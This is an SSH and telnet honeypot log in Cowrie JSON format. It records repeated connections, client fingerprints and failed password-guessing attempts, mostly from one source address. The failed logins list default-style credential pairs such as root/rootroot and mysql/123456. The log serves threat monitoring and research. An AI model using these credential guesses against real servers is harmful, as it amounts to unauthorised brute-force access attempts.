{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:21.617651Z","src_ip":"141.11.88.14","session":"35bad2750359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"123456","message":"login attempt [ftpadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:23.607749Z","src_ip":"141.11.88.14","session":"35bad2750359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.76677131652832,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:23.684181Z","src_ip":"94.23.66.112","session":"acc4360be4c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:24.887802Z","src_ip":"141.11.88.14","session":"35bad2750359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59742,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b7faf6ac2d6","protocol":"ssh","message":"New connection: 141.11.88.14:59742 (10.17.0.5:22) [session: 4b7faf6ac2d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:29.468790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:29.477526Z","src_ip":"141.11.88.14","session":"4b7faf6ac2d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:29.563297Z","src_ip":"141.11.88.14","session":"4b7faf6ac2d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:29.924733Z","src_ip":"141.11.88.14","session":"4b7faf6ac2d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:31.213588Z","src_ip":"141.11.88.14","session":"4b7faf6ac2d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59776,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf3141e6dc50","protocol":"ssh","message":"New connection: 141.11.88.14:59776 (10.17.0.5:22) [session: bf3141e6dc50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:36.236516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:36.528053Z","src_ip":"141.11.88.14","session":"bf3141e6dc50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:36.538535Z","src_ip":"141.11.88.14","session":"bf3141e6dc50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:38.383654Z","src_ip":"141.11.88.14","session":"bf3141e6dc50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:39.479522Z","src_ip":"141.11.88.14","session":"bf3141e6dc50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27078,"dst_ip":"10.17.0.5","dst_port":22,"session":"03577134539c","protocol":"ssh","message":"New connection: 141.11.88.14:27078 (10.17.0.5:22) [session: 03577134539c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:45.822893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:46.169886Z","src_ip":"141.11.88.14","session":"03577134539c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:46.173567Z","src_ip":"141.11.88.14","session":"03577134539c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:46.636310Z","src_ip":"141.11.88.14","session":"03577134539c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:47.836114Z","src_ip":"141.11.88.14","session":"03577134539c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11224,"dst_ip":"10.17.0.5","dst_port":22,"session":"77d034e0e60f","protocol":"ssh","message":"New connection: 141.11.88.14:11224 (10.17.0.5:22) [session: 77d034e0e60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:55.977590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:56.045377Z","src_ip":"141.11.88.14","session":"77d034e0e60f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:56.143127Z","src_ip":"141.11.88.14","session":"77d034e0e60f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123456","message":"login attempt [odoo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:56.435752Z","src_ip":"141.11.88.14","session":"77d034e0e60f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:57.617243Z","src_ip":"141.11.88.14","session":"77d034e0e60f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60382,"dst_ip":"10.17.0.5","dst_port":22,"session":"55f56a91c9b5","protocol":"ssh","message":"New connection: 141.11.88.14:60382 (10.17.0.5:22) [session: 55f56a91c9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:04.903980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:05.035120Z","src_ip":"141.11.88.14","session":"55f56a91c9b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:05.038486Z","src_ip":"141.11.88.14","session":"55f56a91c9b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:05.689185Z","src_ip":"141.11.88.14","session":"55f56a91c9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":41096,"dst_ip":"10.17.0.5","dst_port":23,"session":"745bfbb17fda","protocol":"telnet","message":"New connection: 94.23.66.112:41096 (10.17.0.5:23) [session: 745bfbb17fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:06.990122Z"}
{"eventid":"cowrie.session.closed","duration":0.0042111873626708984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:06.994195Z","src_ip":"94.23.66.112","session":"745bfbb17fda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:07.214251Z","src_ip":"141.11.88.14","session":"55f56a91c9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59918,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff9ff53a82e5","protocol":"ssh","message":"New connection: 141.11.88.14:59918 (10.17.0.5:22) [session: ff9ff53a82e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:11.608567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:11.863764Z","src_ip":"141.11.88.14","session":"ff9ff53a82e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:11.867801Z","src_ip":"141.11.88.14","session":"ff9ff53a82e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":52640,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0158d6a5a12","protocol":"ssh","message":"New connection: 103.143.231.24:52640 (10.17.0.5:22) [session: f0158d6a5a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:13.549420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:13.555079Z","src_ip":"103.143.231.24","session":"f0158d6a5a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:13.627927Z","src_ip":"103.143.231.24","session":"f0158d6a5a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zte","password":"zte123","message":"login attempt [zte/zte123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:13.946220Z","src_ip":"103.143.231.24","session":"f0158d6a5a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:14.436355Z","src_ip":"141.11.88.14","session":"ff9ff53a82e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:15.018971Z","src_ip":"103.143.231.24","session":"f0158d6a5a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:15.694978Z","src_ip":"141.11.88.14","session":"ff9ff53a82e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":13924,"dst_ip":"10.17.0.5","dst_port":22,"session":"10bd0c4bdd72","protocol":"ssh","message":"New connection: 141.11.88.14:13924 (10.17.0.5:22) [session: 10bd0c4bdd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:19.562660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:19.627973Z","src_ip":"141.11.88.14","session":"10bd0c4bdd72","protocol":"ssh"}
